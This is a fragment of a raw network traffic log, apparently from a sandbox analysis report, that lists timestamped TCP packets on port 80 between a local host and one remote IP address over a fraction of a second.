Oct 4, 2024 09:52:35.244432926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244445086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244457006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244477034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244491100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244508982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.244520903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.244560003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.325845957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.325902939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.325951099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.325951099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326061964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326116085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326147079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326179028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326203108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326221943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326230049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326262951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326282978 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326294899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326299906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326327085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326354980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326370001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326376915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326410055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326427937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326457024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326458931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326491117 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326512098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326523066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326529980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326617956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326634884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326651096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326658010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326683998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326703072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326718092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326730013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326749086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326761961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326792955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326817989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326852083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326869011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326895952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326900959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326930046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326951981 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326962948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.326971054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.326996088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327018023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327027082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327035904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327059031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327073097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327090979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327102900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327124119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327135086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327155113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327167034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327189922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327198982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327220917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327250004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327253103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327280998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327302933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327302933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327337980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327353954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327368975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327378988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327419996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327420950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327452898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327467918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327500105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327516079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327532053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327549934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327565908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327568054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327599049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327616930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327630997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327646017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327661991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327670097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327696085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327709913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327723026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327739954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327754021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327765942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327786922 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327806950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327819109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327840090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327856064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327866077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327902079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.327949047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327980042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.327995062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328026056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328030109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328062057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328078985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328094006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328107119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328124046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328141928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328156948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328170061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328188896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328202009 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328222036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328233004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328253984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328265905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328286886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328299046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328319073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328336000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328351974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328363895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328383923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328407049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328416109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328438044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328449011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328460932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328483105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328497887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328526974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.328958988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.328989983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329011917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329022884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329035997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329056025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329067945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329117060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329143047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329174995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329191923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329206944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329214096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329238892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329248905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329271078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329282999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329303026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329315901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329334021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329345942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329368114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329381943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329400063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329411983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329432011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329448938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329463959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329478025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329489946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329504967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329520941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329535961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329554081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329569101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329585075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329596996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329617977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329632044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329648018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329663038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329679966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329694033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329711914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.329725027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.329766035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330013990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330046892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330069065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330087900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330096960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330133915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330152988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330167055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330187082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330199003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330210924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330230951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330239058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330264091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330276966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330296040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330308914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330328941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330338955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330360889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330372095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330393076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330404997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330425024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330435991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330456972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330471039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330488920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330501080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330519915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330528975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330550909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330565929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330585003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330588102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330616951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330631018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330651045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330662012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330684900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330696106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330718040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330738068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330770969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330799103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330832958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330851078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330863953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330873013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330895901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330912113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330929041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330933094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.330960989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.330974102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.331007004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.415179014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.415250063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.415285110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.415317059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.415338039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.415338039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.415350914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.415410995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.415770054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.415816069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.415822983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.415858984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.415867090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.415891886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.415910006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.415924072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.415946007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.415956974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.415965080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.415990114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416008949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416023016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416039944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416059017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416062117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416090965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416102886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416122913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416136026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416155100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416165113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416188002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416198969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416220903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416230917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416251898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416265965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416296959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416311979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416343927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416357994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416377068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416387081 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416408062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416416883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416441917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416456938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416474104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416486979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416506052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416517973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416537046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416548967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416570902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416580915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416601896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416624069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416646957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416651011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416683912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416695118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416714907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416726112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416747093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416764975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416779995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416790962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416811943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416836977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416846037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416868925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416877985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416893005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416912079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416920900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416944027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.416954041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416980982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.416987896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417021036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417032003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417052984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417067051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417085886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417094946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417118073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417126894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:35.417150021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:35.417160988 CEST	49745	80	192.168.2.4	141.98.233.156
